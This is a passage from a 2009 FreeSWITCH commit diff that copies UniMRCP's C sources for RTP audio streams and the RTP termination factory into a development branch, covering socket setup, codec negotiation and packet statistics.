+	mpf_audio_stream_t         *base;
+
+	mpf_rtp_media_descriptor_t *local_media;
+	mpf_rtp_media_descriptor_t *remote_media;
+
+	rtp_transmitter_t           transmitter;
+	rtp_receiver_t              receiver;
+
+	mpf_rtp_config_t           *config;
+
+	apr_socket_t               *socket;
+	apr_sockaddr_t             *local_sockaddr;
+	apr_sockaddr_t             *remote_sockaddr;
+	
+	apr_pool_t                 *pool;
+};
+
+static apt_bool_t mpf_rtp_stream_destroy(mpf_audio_stream_t *stream);
+static apt_bool_t mpf_rtp_rx_stream_open(mpf_audio_stream_t *stream);
+static apt_bool_t mpf_rtp_rx_stream_close(mpf_audio_stream_t *stream);
+static apt_bool_t mpf_rtp_stream_receive(mpf_audio_stream_t *stream, mpf_frame_t *frame);
+static apt_bool_t mpf_rtp_tx_stream_open(mpf_audio_stream_t *stream);
+static apt_bool_t mpf_rtp_tx_stream_close(mpf_audio_stream_t *stream);
+static apt_bool_t mpf_rtp_stream_transmit(mpf_audio_stream_t *stream, const mpf_frame_t *frame);
+
+static const mpf_audio_stream_vtable_t vtable = {
+	mpf_rtp_stream_destroy,
+	mpf_rtp_rx_stream_open,
+	mpf_rtp_rx_stream_close,
+	mpf_rtp_stream_receive,
+	mpf_rtp_tx_stream_open,
+	mpf_rtp_tx_stream_close,
+	mpf_rtp_stream_transmit
+};
+
+static apt_bool_t mpf_rtp_socket_create(mpf_rtp_stream_t *stream, mpf_rtp_media_descriptor_t *local_media);
+
+
+MPF_DECLARE(mpf_audio_stream_t*) mpf_rtp_stream_create(mpf_termination_t *termination, mpf_rtp_config_t *config, apr_pool_t *pool)
+{
+	mpf_rtp_stream_t *rtp_stream = apr_palloc(pool,sizeof(mpf_rtp_stream_t));
+	rtp_stream->pool = pool;
+	rtp_stream->config = config;
+	rtp_stream->local_media = NULL;
+	rtp_stream->remote_media = NULL;
+	rtp_stream->socket = NULL;
+	rtp_stream->local_sockaddr = NULL;
+	rtp_stream->remote_sockaddr = NULL;
+	rtp_stream->base = mpf_audio_stream_create(rtp_stream,&vtable,STREAM_MODE_NONE,pool);
+	rtp_stream->base->termination = termination;
+	rtp_receiver_init(&rtp_stream->receiver);
+	rtp_transmitter_init(&rtp_stream->transmitter);
+	rtp_stream->transmitter.ssrc = (apr_uint32_t)apr_time_now();
+
+	return rtp_stream->base;
+}
+
+static apt_bool_t mpf_rtp_stream_local_media_create(mpf_rtp_stream_t *rtp_stream, mpf_rtp_media_descriptor_t *local_media, mpf_rtp_media_descriptor_t *remote_media)
+{
+	apt_bool_t status = TRUE;
+	if(!local_media) {
+		/* local media is not specified, create the default one */
+		local_media = apr_palloc(rtp_stream->pool,sizeof(mpf_rtp_media_descriptor_t));
+		mpf_rtp_media_descriptor_init(local_media);
+		local_media->base.state = MPF_MEDIA_ENABLED;
+		local_media->mode = STREAM_MODE_SEND_RECEIVE;
+	}
+	if(remote_media) {
+		local_media->base.id = remote_media->base.id;
+	}
+	if(local_media->base.ip.length == 0) {
+		local_media->base.ip = rtp_stream->config->ip;
+		local_media->base.ext_ip = rtp_stream->config->ext_ip;
+	}
+	if(local_media->base.port == 0) {
+		/* RTP port management */
+		apr_port_t first_port_in_search = rtp_stream->config->rtp_port_cur;
+		apt_bool_t is_port_ok = FALSE;
+
+		do {
+			local_media->base.port = rtp_stream->config->rtp_port_cur;
+			rtp_stream->config->rtp_port_cur += 2;
+			if(rtp_stream->config->rtp_port_cur == rtp_stream->config->rtp_port_max) {
+				rtp_stream->config->rtp_port_cur = rtp_stream->config->rtp_port_min;
+			}
+			if(mpf_rtp_socket_create(rtp_stream,local_media) == TRUE) {
+				is_port_ok = TRUE;
+			}
+		} while((is_port_ok == FALSE) && (first_port_in_search != rtp_stream->config->rtp_port_cur));
+		if(is_port_ok == FALSE) {
+			local_media->base.state = MPF_MEDIA_DISABLED;
+			status = FALSE;
+		}
+	}
+	else if(mpf_rtp_socket_create(rtp_stream,local_media) == FALSE) {
+		local_media->base.state = MPF_MEDIA_DISABLED;
+		status = FALSE;
+	}
+
+	if(rtp_stream->config->ptime) {
+		local_media->ptime = rtp_stream->config->ptime;
+	}
+
+	if(mpf_codec_list_is_empty(&local_media->codec_list) == TRUE) {
+		if(mpf_codec_list_is_empty(&rtp_stream->config->codec_list) == TRUE) {
+			mpf_codec_manager_codec_list_get(
+								rtp_stream->base->termination->codec_manager,
+								&local_media->codec_list,
+								rtp_stream->pool);
+		}
+		else {
+			mpf_codec_list_copy(&local_media->codec_list,
+								&rtp_stream->config->codec_list,
+								rtp_stream->pool);
+		}
+	}
+
+	rtp_stream->local_media = local_media;
+	return status;
+}
+
+static apt_bool_t mpf_rtp_stream_local_media_update(mpf_rtp_stream_t *rtp_stream, mpf_rtp_media_descriptor_t *media)
+{
+	apt_bool_t status = TRUE;
+	if(apt_string_compare(&rtp_stream->local_media->base.ip,&media->base.ip) == FALSE ||
+		rtp_stream->local_media->base.port != media->base.port) {
+
+		if(mpf_rtp_socket_create(rtp_stream,media) == FALSE) {
+			media->base.state = MPF_MEDIA_DISABLED;
+			status = FALSE;
+		}
+	}
+	if(mpf_codec_list_is_empty(&media->codec_list) == TRUE) {
+		mpf_codec_manager_codec_list_get(
+							rtp_stream->base->termination->codec_manager,
+							&media->codec_list,
+							rtp_stream->pool);
+	}
+
+	rtp_stream->local_media = media;
+	return status;
+}
+
+static apt_bool_t mpf_rtp_stream_remote_media_update(mpf_rtp_stream_t *rtp_stream, mpf_rtp_media_descriptor_t *media)
+{
+	apt_bool_t status = TRUE;
+	if(!rtp_stream->remote_media || 
+		apt_string_compare(&rtp_stream->remote_media->base.ip,&media->base.ip) == FALSE ||
+		rtp_stream->remote_media->base.port != media->base.port) {
+
+		rtp_stream->remote_sockaddr = NULL;
+		apr_sockaddr_info_get(
+			&rtp_stream->remote_sockaddr,
+			media->base.ip.buf,
+			APR_INET,
+			media->base.port,
+			0,
+			rtp_stream->pool);
+		if(!rtp_stream->remote_sockaddr) {
+			status = FALSE;
+		}
+	}
+
+	rtp_stream->remote_media = media;
+	return status;
+}
+
+static apt_bool_t mpf_rtp_stream_media_negotiate(mpf_rtp_stream_t *rtp_stream)
+{
+	if(!rtp_stream->local_media || !rtp_stream->remote_media) {
+		return FALSE;
+	}
+
+	rtp_stream->local_media->base.id = rtp_stream->remote_media->base.id;
+	rtp_stream->local_media->base.state = rtp_stream->remote_media->base.state;
+
+	rtp_stream->local_media->mid = rtp_stream->remote_media->mid;
+	rtp_stream->local_media->ptime = rtp_stream->remote_media->ptime;
+	rtp_stream->local_media->mode = mpf_stream_mode_negotiate(rtp_stream->remote_media->mode);
+
+	if(mpf_codec_list_is_empty(&rtp_stream->remote_media->codec_list) == TRUE) {
+		/* no remote codecs available, initialize them according to the local codecs  */
+		mpf_codec_list_copy(&rtp_stream->remote_media->codec_list,
+							&rtp_stream->local_media->codec_list,
+							rtp_stream->pool);
+	}
+
+	/* intersect local and remote codecs */
+	if(rtp_stream->config->own_preferrence == TRUE) {
+		mpf_codec_list_intersect(&rtp_stream->local_media->codec_list,&rtp_stream->remote_media->codec_list);
+	}
+	else {
+		mpf_codec_list_intersect(&rtp_stream->remote_media->codec_list,&rtp_stream->local_media->codec_list);
+	}
+
+	rtp_stream->base->mode = rtp_stream->local_media->mode;
+	return TRUE;
+}
+
+MPF_DECLARE(apt_bool_t) mpf_rtp_stream_modify(mpf_audio_stream_t *stream, mpf_rtp_stream_descriptor_t *descriptor)
+{
+	apt_bool_t status = TRUE;
+	mpf_rtp_stream_t *rtp_stream = stream->obj;
+	if(!rtp_stream) {
+		return FALSE;
+	}
+
+	if(!rtp_stream->local_media) {
+		/* create local media */
+		status = mpf_rtp_stream_local_media_create(rtp_stream,descriptor->local,descriptor->remote);
+	}
+	else if(descriptor->local) {
+		/* update local media */
+		status = mpf_rtp_stream_local_media_update(rtp_stream,descriptor->local);
+	}
+	
+	if(descriptor->remote && status == TRUE) {
+		/* update remote media */
+		mpf_rtp_stream_remote_media_update(rtp_stream,descriptor->remote);
+
+		/* negotiate local and remote media */
+		mpf_rtp_stream_media_negotiate(rtp_stream);
+	}
+
+	if((rtp_stream->base->mode & STREAM_MODE_SEND) == STREAM_MODE_SEND) {
+		rtp_stream->base->tx_codec = mpf_codec_manager_codec_get(
+								rtp_stream->base->termination->codec_manager,
+								rtp_stream->remote_media->codec_list.preffered,
+								rtp_stream->pool);
+		if(rtp_stream->base->tx_codec) {
+			rtp_stream->transmitter.samples_per_frame = 
+				(apr_uint32_t)mpf_codec_frame_samples_calculate(rtp_stream->base->tx_codec->descriptor);
+		}
+	}
+	if((rtp_stream->base->mode & STREAM_MODE_RECEIVE) == STREAM_MODE_RECEIVE) {
+		rtp_stream->base->rx_codec = mpf_codec_manager_codec_get(
+								rtp_stream->base->termination->codec_manager,
+								rtp_stream->local_media->codec_list.preffered,
+								rtp_stream->pool);
+	}
+
+	if(!descriptor->local) {
+		descriptor->local = rtp_stream->local_media;
+	}
+	return status;
+}
+
+static apt_bool_t mpf_rtp_stream_destroy(mpf_audio_stream_t *stream)
+{
+	mpf_rtp_stream_t *rtp_stream = stream->obj;
+	if(rtp_stream->socket) {
+		apr_socket_close(rtp_stream->socket);
+		rtp_stream->socket = NULL;
+	}
+	
+	return TRUE;
+}
+
+static apt_bool_t mpf_rtp_rx_stream_open(mpf_audio_stream_t *stream)
+{
+	mpf_rtp_stream_t *rtp_stream = stream->obj;
+	rtp_receiver_t *receiver = &rtp_stream->receiver;
+	if(!rtp_stream->socket || !rtp_stream->local_media) {
+		return FALSE;
+	}
+
+	receiver->jb = mpf_jitter_buffer_create(
+						&rtp_stream->config->jb_config,
+						stream->rx_codec,
+						rtp_stream->pool);
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Open RTP Receive %s:%hu <- %s:%hu playout [%d ms]",
+			rtp_stream->local_media->base.ip.buf,
+			rtp_stream->local_media->base.port,
+			rtp_stream->remote_media->base.ip.buf,
+			rtp_stream->remote_media->base.port,
+			rtp_stream->config->jb_config.initial_playout_delay);
+	return TRUE;
+}
+
+static apt_bool_t mpf_rtp_rx_stream_close(mpf_audio_stream_t *stream)
+{
+	mpf_rtp_stream_t *rtp_stream = stream->obj;
+	rtp_receiver_t *receiver = &rtp_stream->receiver;
+	receiver->stat.lost_packets = 0;
+	if(receiver->stat.received_packets) {
+		apr_uint32_t expected_packets = receiver->history.seq_cycles + 
+			receiver->history.seq_num_max - receiver->history.seq_num_base + 1;
+		if(expected_packets > receiver->stat.received_packets) {
+			receiver->stat.lost_packets = expected_packets - receiver->stat.received_packets;
+		}
+	}
+
+	mpf_jitter_buffer_destroy(receiver->jb);
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Close RTP Receive %s:%hu <- %s:%hu [r:%lu l:%lu j:%lu]",
+			rtp_stream->local_media->base.ip.buf,
+			rtp_stream->local_media->base.port,
+			rtp_stream->remote_media->base.ip.buf,
+			rtp_stream->remote_media->base.port,
+			receiver->stat.received_packets,
+			receiver->stat.lost_packets,
+			receiver->stat.jitter);
+	return TRUE;
+}
+
+
+static APR_INLINE void rtp_rx_overall_stat_reset(rtp_receiver_t *receiver)
+{
+	memset(&receiver->stat,0,sizeof(receiver->stat));
+	memset(&receiver->history,0,sizeof(receiver->history));
+	memset(&receiver->periodic_history,0,sizeof(receiver->periodic_history));
+}
+
+static APR_INLINE void rtp_rx_stat_init(rtp_receiver_t *receiver, rtp_header_t *header, apr_time_t *time)
+{
+	receiver->stat.ssrc = header->ssrc;
+	receiver->history.seq_num_base = receiver->history.seq_num_max = (apr_uint16_t)header->sequence;
+	receiver->history.ts_last = header->timestamp;
+	receiver->history.time_last = *time;
+}
+
+static APR_INLINE void rtp_rx_restart(rtp_receiver_t *receiver)
+{
+	apr_byte_t restarts = ++receiver->stat.restarts;
+	rtp_rx_overall_stat_reset(receiver);
+	mpf_jitter_buffer_restart(receiver->jb);
+	receiver->stat.restarts = restarts;
+}
+
+static rtp_header_t* rtp_rx_header_skip(void **buffer, apr_size_t *size)
+{
+	apr_size_t offset = 0;
+	rtp_header_t *header = (rtp_header_t*)*buffer;
+
+    /* RTP header validity check */
+	if(header->version != RTP_VERSION) {
+		return NULL;
+	}
+
+    /* calculate payload offset */
+	offset = sizeof(rtp_header_t) + (header->count * sizeof(apr_uint32_t));
+
+	/* additional offset in case of RTP extension */
+	if(header->extension) {
+		rtp_extension_header_t *ext_header = (rtp_extension_header_t*)(((apr_byte_t*)*buffer)+offset);
+		offset += (ntohs(ext_header->length) * sizeof(apr_uint32_t));
+	}
+
+	if (offset >= *size) {
+		return NULL;
+	}
+
+	/* skip to payload */
+	*buffer = (apr_byte_t*)*buffer + offset;
+	*size = *size - offset;
+
+	return header;
+}
+
+typedef enum {
+	RTP_SSRC_UPDATE,
+	RTP_SSRC_PROBATION,
+	RTP_SSRC_RESTART
+} rtp_ssrc_result_e;
+
+static APR_INLINE rtp_ssrc_result_e rtp_rx_ssrc_update(rtp_receiver_t *receiver, apr_uint32_t ssrc)
+{
+	if(receiver->stat.ssrc == ssrc) {
+		/* known ssrc */
+		if(receiver->history.ssrc_probation) {
+			/* reset the probation for new ssrc */
+			receiver->history.ssrc_probation = 0;
+			receiver->history.ssrc_new = 0;
+		}
+	}
+	else {
+		if(receiver->history.ssrc_new == ssrc) {
+			if(--receiver->history.ssrc_probation == 0) {
+				/* restart with new ssrc */
+				receiver->stat.ssrc = ssrc;
+				return RTP_SSRC_RESTART;
+			}
+			else {
+				return RTP_SSRC_PROBATION;
+			}
+		}
+		else {
+			/* start probation for new ssrc */
+			receiver->history.ssrc_new = ssrc;
+			receiver->history.ssrc_probation = 5;
+			return RTP_SSRC_PROBATION;
+		}
+	}
+	return RTP_SSRC_UPDATE;
+}
+
+typedef enum {
+	RTP_SEQ_UPDATE,
+	RTP_SEQ_MISORDER,
+	RTP_SEQ_DRIFT
+} rtp_seq_result_e;
+
+static APR_INLINE rtp_seq_result_e rtp_rx_seq_update(rtp_receiver_t *receiver, apr_uint16_t seq_num)
+{
+	rtp_seq_result_e result = RTP_SEQ_UPDATE;
+	apr_uint16_t seq_delta = seq_num - receiver->history.seq_num_max;
+	if(seq_delta < MAX_DROPOUT) {
+		if(seq_num < receiver->history.seq_num_max) {
+			/* sequence number wrapped */
+			receiver->history.seq_cycles += RTP_SEQ_MOD;
+		}
+		receiver->history.seq_num_max = seq_num;
+	}
+	else if(seq_delta <= RTP_SEQ_MOD - MAX_MISORDER) {
+		/* sequence number made a very large jump */
+		result = RTP_SEQ_DRIFT;
+	}
+	else {
+		/* duplicate or misordered packet */
+		result = RTP_SEQ_MISORDER;
+	}
+	receiver->stat.received_packets++;
+
+	if(receiver->stat.received_packets - receiver->periodic_history.received_prior >= 50) {
+		receiver->periodic_history.received_prior = receiver->stat.received_packets;
+		receiver->periodic_history.discarded_prior = receiver->stat.discarded_packets;
+		receiver->periodic_history.jitter_min = receiver->stat.jitter;
+		receiver->periodic_history.jitter_max = receiver->stat.jitter;
+	}
+	return result;
+}
+
+typedef enum {
+	RTP_TS_UPDATE,
+	RTP_TS_DRIFT
+} rtp_ts_result_e;
+
+static APR_INLINE rtp_ts_result_e rtp_rx_ts_update(rtp_receiver_t *receiver, mpf_codec_descriptor_t *descriptor, apr_time_t *time, apr_uint32_t ts)
+{
+	apr_int32_t deviation;
+
+	/* arrival time diff in samples */
+	deviation = (apr_int32_t)apr_time_as_msec(*time - receiver->history.time_last) * 
+		descriptor->channel_count * descriptor->sampling_rate / 1000;
+	/* arrival timestamp diff */
+	deviation -= ts - receiver->history.ts_last;
+
+	if(deviation < 0) {
+		deviation = -deviation;
+	}
+
+	if(deviation > DEVIATION_THRESHOLD) {
+		return RTP_TS_DRIFT;
+	}
+
+	receiver->stat.jitter += deviation - ((receiver->stat.jitter + 8) >> 4);
+#if PRINT_RTP_PACKET_STAT
+	printf("jitter=%d deviation=%d\n",receiver->stat.jitter,deviation);
+#endif
+	receiver->history.time_last = *time;
+	receiver->history.ts_last = ts;
+
+	if(receiver->stat.jitter < receiver->periodic_history.jitter_min) {
+		receiver->periodic_history.jitter_min = receiver->stat.jitter;
+	}
+	if(receiver->stat.jitter > receiver->periodic_history.jitter_max) {
+		receiver->periodic_history.jitter_max = receiver->stat.jitter;
+	}
+	return RTP_TS_UPDATE;
+}
+
+static APR_INLINE void rtp_rx_failure_threshold_check(rtp_receiver_t *receiver)
+{
+	apr_uint32_t received;
+	apr_uint32_t discarded;
+	received = receiver->stat.received_packets - receiver->periodic_history.received_prior;
+	discarded = receiver->stat.discarded_packets - receiver->periodic_history.discarded_prior;
+
+	if(discarded * 100 > received * DISCARDED_TO_RECEIVED_RATIO_THRESHOLD) {
+		/* failure threshold hired, restart */
+		rtp_rx_restart(receiver);
+	}
+}
+
+static apt_bool_t rtp_rx_packet_receive(rtp_receiver_t *receiver, mpf_codec_t *codec, void *buffer, apr_size_t size)
+{
+	apr_time_t time;
+	rtp_ssrc_result_e ssrc_result;
+	rtp_header_t *header = rtp_rx_header_skip(&buffer,&size);
+	if(!header) {
+		/* invalid RTP packet */
+		receiver->stat.invalid_packets++;
+		return FALSE;
+	}
+
+	header->sequence = ntohs((apr_uint16_t)header->sequence);
+	header->timestamp = ntohl(header->timestamp);
+	header->ssrc = ntohl(header->ssrc);
+
+	time = apr_time_now();
+
+#if PRINT_RTP_PACKET_STAT
+	printf("RTP time=%6lu ssrc=%8lx pt=%3u %cts=%9lu seq=%5u size=%lu\n",
+					(apr_uint32_t)apr_time_usec(time),
+					header->ssrc, header->type, header->marker ? '*' : ' ',
+					header->timestamp, header->sequence, size);
+#endif
+	if(!receiver->stat.received_packets) {
+		/* initialization */
+		rtp_rx_stat_init(receiver,header,&time);
+	}
+
+	ssrc_result = rtp_rx_ssrc_update(receiver,header->ssrc);
+	if(ssrc_result == RTP_SSRC_PROBATION) {
+		receiver->stat.invalid_packets++;
+		return FALSE;
+	}
+	else if(ssrc_result == RTP_SSRC_RESTART) {
+		rtp_rx_restart(receiver);
+		rtp_rx_stat_init(receiver,header,&time);
+	}
+
+	rtp_rx_seq_update(receiver,(apr_uint16_t)header->sequence);
+	
+	if(rtp_rx_ts_update(receiver,codec->descriptor,&time,header->timestamp) == RTP_TS_DRIFT) {
+		rtp_rx_restart(receiver);
+		return FALSE;
+	}
+	
+	if(header->type == codec->descriptor->payload_type) {
+		/* codec */
+		if(mpf_jitter_buffer_write(receiver->jb,codec,buffer,size,header->timestamp) != JB_OK) {
+			receiver->stat.discarded_packets++;
+			rtp_rx_failure_threshold_check(receiver);
+		}
+	}
+	else if(header->type == receiver->event_pt && receiver->event_pt != 0) {
+		/* named event */
+		mpf_named_event_frame_t *named_event = (mpf_named_event_frame_t *)buffer;
+		if(mpf_jitter_buffer_write_named_event(receiver->jb,named_event,header->timestamp) != JB_OK) {
+			receiver->stat.discarded_packets++;
+			rtp_rx_failure_threshold_check(receiver);
+		}
+	}
+	else if(header->type == 13 || header->type == 19) {
+		/* CN packet*/
+		receiver->stat.ignored_packets++;
+	}
+	else {
+		/* invalid payload type */
+		receiver->stat.ignored_packets++;
+	}
+	
+	return TRUE;
+}
+
+static apt_bool_t rtp_rx_process(mpf_rtp_stream_t *rtp_stream)
+{
+	char buffer[1500];
+	apr_size_t size = sizeof(buffer);
+	apr_size_t max_count = 5;
+	while(max_count && apr_socket_recvfrom(rtp_stream->remote_sockaddr,rtp_stream->socket,0,buffer,&size) == APR_SUCCESS) {
+		rtp_rx_packet_receive(&rtp_stream->receiver,rtp_stream->base->rx_codec,buffer,size);
+
+		size = sizeof(buffer);
+		max_count--;
+	}
+	return TRUE;
+}
+
+static apt_bool_t mpf_rtp_stream_receive(mpf_audio_stream_t *stream, mpf_frame_t *frame)
+{
+	mpf_rtp_stream_t *rtp_stream = stream->obj;
+	rtp_rx_process(rtp_stream);
+
+	return mpf_jitter_buffer_read(rtp_stream->receiver.jb,frame);
+}
+
+
+
+
+
+static apt_bool_t mpf_rtp_tx_stream_open(mpf_audio_stream_t *stream)
+{
+	apr_size_t frame_size;
+	mpf_rtp_stream_t *rtp_stream = stream->obj;
+	rtp_transmitter_t *transmitter = &rtp_stream->transmitter;
+	if(!rtp_stream->socket || !rtp_stream->remote_media) {
+		return FALSE;
+	}
+
+	if(!transmitter->ptime) {
+		if(rtp_stream->config && rtp_stream->config->ptime) {
+			transmitter->ptime = rtp_stream->config->ptime;
+		}
+		else {
+			transmitter->ptime = 20;
+		}
+	}
+	transmitter->packet_frames = transmitter->ptime / CODEC_FRAME_TIME_BASE;
+	transmitter->current_frames = 0;
+
+	frame_size = mpf_codec_frame_size_calculate(
+							stream->tx_codec->descriptor,
+							stream->tx_codec->attribs);
+	transmitter->packet_data = apr_palloc(
+							rtp_stream->pool,
+							sizeof(rtp_header_t) + transmitter->packet_frames * frame_size);
+	
+	transmitter->inactivity = 1;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Open RTP Transmit %s:%hu -> %s:%hu",
+			rtp_stream->local_media->base.ip.buf,
+			rtp_stream->local_media->base.port,
+			rtp_stream->remote_media->base.ip.buf,
+			rtp_stream->remote_media->base.port);
+	return TRUE;
+}
+
+static apt_bool_t mpf_rtp_tx_stream_close(mpf_audio_stream_t *stream)
+{
+	mpf_rtp_stream_t *rtp_stream = stream->obj;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Close RTP Transmit %s:%hu -> %s:%hu [s:%lu]",
+			rtp_stream->local_media->base.ip.buf,
+			rtp_stream->local_media->base.port,
+			rtp_stream->remote_media->base.ip.buf,
+			rtp_stream->remote_media->base.port,
+			rtp_stream->transmitter.stat.sent_packets);
+	return TRUE;
+}
+
+
+static APR_INLINE void rtp_header_prepare(rtp_transmitter_t *transmitter, apr_byte_t payload_type)
+{
+	rtp_header_t *header = (rtp_header_t*)transmitter->packet_data;
+
+#if PRINT_RTP_PACKET_STAT
+	printf("> RTP time=%6lu ssrc=%8lx pt=%3u %cts=%9lu seq=%5u\n",
+		(apr_uint32_t)apr_time_usec(apr_time_now()),
+		transmitter->ssrc, payload_type, transmitter->inactivity ? '*' : ' ',
+		transmitter->timestamp, transmitter->last_seq_num);
+#endif	
+	header->version = RTP_VERSION;
+	header->padding = 0;
+	header->extension = 0;
+	header->count = 0;
+	header->marker = transmitter->inactivity;
+	header->type = payload_type;
+	header->sequence = htons(++transmitter->last_seq_num);
+	header->timestamp = htonl(transmitter->timestamp);
+	header->ssrc = htonl(transmitter->ssrc);
+
+	if(transmitter->inactivity) {
+		transmitter->inactivity = 0;
+	}
+
+	transmitter->packet_size = sizeof(rtp_header_t);
+}
+
+static apt_bool_t mpf_rtp_stream_transmit(mpf_audio_stream_t *stream, const mpf_frame_t *frame)
+{
+	apt_bool_t status = TRUE;
+	mpf_rtp_stream_t *rtp_stream = stream->obj;
+	rtp_transmitter_t *transmitter = &rtp_stream->transmitter;
+
+	transmitter->timestamp += transmitter->samples_per_frame;
+
+	if(transmitter->current_frames == 0) {
+		if(frame->type == MEDIA_FRAME_TYPE_NONE) {
+			transmitter->inactivity = 1;
+		}
+		else {
+			rtp_header_prepare(transmitter,stream->tx_codec->descriptor->payload_type);
+		}
+	}
+	
+	if(!transmitter->inactivity) {
+		memcpy(
+			transmitter->packet_data + transmitter->packet_size,
+			frame->codec_frame.buffer,
+			frame->codec_frame.size);
+		transmitter->packet_size += frame->codec_frame.size;
+
+		if(++transmitter->current_frames == transmitter->packet_frames) {
+			if(apr_socket_sendto(
+								rtp_stream->socket,
+								rtp_stream->remote_sockaddr,
+								0,
+								transmitter->packet_data,
+								&transmitter->packet_size) == APR_SUCCESS) {
+				transmitter->stat.sent_packets++;
+			}
+			else {
+				status = FALSE;
+			}
+			transmitter->current_frames = 0;
+		}
+	}
+
+	return status;
+}
+
+static apt_bool_t mpf_rtp_socket_create(mpf_rtp_stream_t *stream, mpf_rtp_media_descriptor_t *local_media)
+{
+	if(stream->socket) {
+		apr_socket_close(stream->socket);
+		stream->socket = NULL;
+	}
+	
+	stream->local_sockaddr = NULL;
+	apr_sockaddr_info_get(
+		&stream->local_sockaddr,
+		local_media->base.ip.buf,
+		APR_INET,
+		local_media->base.port,
+		0,
+		stream->pool);
+	if(!stream->local_sockaddr) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Failed to Get Sockaddr %s:%hu",
+				local_media->base.ip.buf,
+				local_media->base.port);
+		return FALSE;
+	}
+	if(apr_socket_create(&stream->socket,stream->local_sockaddr->family,SOCK_DGRAM,0,stream->pool) != APR_SUCCESS) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Failed to Create Socket %s:%hu",
+				local_media->base.ip.buf,
+				local_media->base.port);
+		return FALSE;
+	}
+	
+	apr_socket_opt_set(stream->socket,APR_SO_NONBLOCK,1);
+	apr_socket_timeout_set(stream->socket,0);
+	apr_socket_opt_set(stream->socket,APR_SO_REUSEADDR,1);
+
+	if(apr_socket_bind(stream->socket,stream->local_sockaddr) != APR_SUCCESS) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Failed to Bind Socket to %s:%hu",
+				local_media->base.ip.buf,
+				local_media->base.port);
+		apr_socket_close(stream->socket);
+		stream->socket = NULL;
+		return FALSE;
+	}
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_rtp_termination_factory.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_rtp_termination_factory.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_rtp_termination_factory.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_rtp_termination_factory.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_rtp_termination_factory.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,76 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mpf_termination.h"
+#include "mpf_rtp_termination_factory.h"
+#include "mpf_rtp_stream.h"
+#include "apt_log.h"
+
+typedef struct rtp_termination_factory_t rtp_termination_factory_t;
+struct rtp_termination_factory_t {
+	mpf_termination_factory_t base;
+	mpf_rtp_config_t         *config;
+};
+
+static apt_bool_t mpf_rtp_termination_destroy(mpf_termination_t *termination)
+{
+	return TRUE;
+}
+
+static apt_bool_t mpf_rtp_termination_modify(mpf_termination_t *termination, void *descriptor)
+{
+	mpf_rtp_termination_descriptor_t *rtp_descriptor = descriptor;
+	mpf_audio_stream_t *audio_stream = termination->audio_stream;
+	if(!audio_stream) {
+		rtp_termination_factory_t *termination_factory = (rtp_termination_factory_t*)termination->termination_factory;
+		audio_stream = mpf_rtp_stream_create(termination,termination_factory->config,termination->pool);
+		if(!audio_stream) {
+			return FALSE;
+		}
+		termination->audio_stream = audio_stream;
+	}
+
+	return mpf_rtp_stream_modify(audio_stream,&rtp_descriptor->audio);
+}
+
+static const mpf_termination_vtable_t rtp_vtable = {
+	mpf_rtp_termination_destroy,
+	mpf_rtp_termination_modify,
+};
+
+static mpf_termination_t* mpf_rtp_termination_create(mpf_termination_factory_t *termination_factory, void *obj, apr_pool_t *pool)
+{
+	return mpf_termination_base_create(termination_factory,obj,&rtp_vtable,NULL,NULL,pool);
+}
+
+MPF_DECLARE(mpf_termination_factory_t*) mpf_rtp_termination_factory_create(
+											mpf_rtp_config_t *rtp_config,
+											apr_pool_t *pool)
+{
+	rtp_termination_factory_t *rtp_termination_factory;
+	if(!rtp_config) {
+		return NULL;
+	}
+	rtp_config->rtp_port_cur = rtp_config->rtp_port_min;
+	rtp_termination_factory = apr_palloc(pool,sizeof(rtp_termination_factory_t));
+	rtp_termination_factory->base.create_termination = mpf_rtp_termination_create;
+	rtp_termination_factory->config = rtp_config;
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create RTP Termination Factory %s:[%hu,%hu]",
+									rtp_config->ip.buf,
+									rtp_config->rtp_port_min,
+									rtp_config->rtp_port_max);
+	return &rtp_termination_factory->base;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_termination.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_termination.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/src/mpf_termination.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_termination.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/src/mpf_termination.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,120 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "mpf_termination.h"
+#include "mpf_stream.h"
+#include "mpf_codec_manager.h"
+
+MPF_DECLARE(mpf_termination_t*) mpf_termination_base_create(
+										mpf_termination_factory_t *termination_factory,
+										void *obj,
